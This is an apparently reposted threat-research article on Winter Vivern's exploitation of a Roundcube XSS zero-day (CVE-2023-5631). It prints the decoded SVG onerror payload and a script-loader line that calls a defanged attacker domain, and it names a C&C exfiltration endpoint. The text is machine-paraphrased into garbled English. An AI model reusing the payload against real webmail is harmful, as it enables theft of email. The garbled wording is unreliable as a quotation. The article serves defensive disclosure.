Winter Vivern exploits zero-day vulnerability in Roundcube Webmail servers

ESET Analysis

ESET Analysis recommends updating Roundcube Webmail to the newest out there model as quickly as attainable

25 Oct 2023
 • 
,
5 min. learn

ESET Analysis has been carefully monitoring the cyberespionage operations of Winter Vivern for greater than a 12 months and, throughout our routine monitoring, we discovered that the group started exploiting a zero-day XSS vulnerability within the Roundcube Webmail server on October 11^th, 2023. It is a completely different vulnerability than CVE-2020-35730, which was additionally exploited by the group based on our analysis.

In keeping with ESET telemetry knowledge, the marketing campaign focused Roundcube Webmail servers belonging to governmental entities and a suppose tank, all in Europe.

Vulnerability disclosure timeline:

• 2023-10-12: ESET Analysis reported the vulnerability to the Roundcube crew.
• 2023-10-14: The Roundcube crew responded and acknowledged the vulnerability.
• 2023-10-14: The Roundcube crew patched the vulnerability.
• 2023-10-16: The Roundcube crew launched safety updates to handle the vulnerability (1.6.4, 1.5.5, and 1.4.15).
• 2023-10-18: ESET CNA points a CVE for the vulnerability (CVE-2023-5631).
• 2023-10-25: ESET Analysis blogpost printed.

We wish to thank the Roundcube builders for his or her fast reply and for patching the vulnerability in such a short while body.

Winter Vivern profile

Winter Vivern is a cyberespionage group first revealed by DomainTools in 2021. It’s thought to have been energetic since at the very least 2020 and it targets governments in Europe and Central Asia. To compromise its targets, the group makes use of malicious paperwork, phishing web sites, and a customized PowerShell backdoor (see the articles from the State Cyber Protection Centre of Ukraine and from SentinelLabs). We consider with low confidence that Winter Vivern is linked to MoustachedBouncer, a classy Belarus-aligned group that we first printed about in August, 2023.

Winter Vivern has been focusing on Zimbra and Roundcube electronic mail servers belonging to governmental entities since at the very least 2022 – see this text from Proofpoint. Specifically, we noticed that the group exploited CVE-2020-35730, one other XSS vulnerability in Roundcube, in August and September 2023. Notice that Sednit (also referred to as APT28) is exploiting this previous XSS vulnerability in Roundcube as properly, generally towards the identical targets.

Technical particulars

Exploitation of the XSS vulnerability, assigned CVE-2023-5631, could be achieved remotely by sending a specifically crafted electronic mail message. On this Winter Vivern marketing campaign, the emails have been despatched from crew.managment@outlook[.]com and had the topic Get began in your Outlook, as proven in Determine 1.

At first sight, the e-mail doesn’t appear malicious – but when we look at the HTML supply code, proven in Determine 2, we will see an SVG tag on the finish, which comprises a base64-encoded payload.

As soon as we decode the base64-encoded worth within the href attribute of the use tag, now we have:

<svg id=”https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/x” xmlns=”http://www.w3.org/2000/svg”> <picture href=”https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/x” onerror=”eval(atob(‘<base64-encoded payload>’))” /></svg>

Because the x worth argument of the href attribute just isn’t a legitimate URL, this object’s onerror attribute might be activated. Decoding the payload within the onerror attribute offers us the next JavaScript code (with the malicious URL manually defanged), which might be executed within the browser of the sufferer within the context of their Roundcube session:

var fe=doc.createElement(‘script’);fe.src=”https://recsecas[.]com/controlserver/checkupdate.js”;doc.physique.appendChild(fe);

Surprisingly, we observed that the JavaScript injection labored on a completely patched Roundcube occasion. It turned out that this was a zero-day XSS vulnerability affecting the server-side script rcube_washtml.php, which doesn’t correctly sanitize the malicious SVG doc earlier than being added to the HTML web page interpreted by a Roundcube consumer. We reported it to Roundcube and it was patched on October 14^th, 2023 (see this commit). The vulnerability impacts Roundcube versions 1.6.x earlier than 1.6.4, 1.5.x earlier than 1.5.5, and 1.4.x earlier than 1.4.15.

In abstract, by sending a specifically crafted electronic mail message, attackers are in a position to load arbitrary JavaScript code within the context of the Roundcube consumer’s browser window. No handbook interplay apart from viewing the message in an online browser is required.

The second stage is a straightforward JavaScript loader named checkupdate.js and is proven in Determine 3.

The ultimate JavaScript payload – proven in Determine 4 – is ready to listing folders and emails within the present Roundcube account, and to exfiltrate electronic mail messages to the C&C server by making HTTP requests to https://recsecas[.]com/controlserver/saveMessage.

Conclusion

For any inquiries about our analysis printed on WeLiveSecurity, please contact us at [email protected].
ESET Analysis affords non-public APT intelligence experiences and knowledge feeds. For any inquiries about this service, go to the ESET Threat Intelligence web page.

IoCs

Recordsdata

Community

E-mail addresses

crew.managment@outlook[.]com

This desk was constructed utilizing version 13 of the MITRE ATT&CK framework.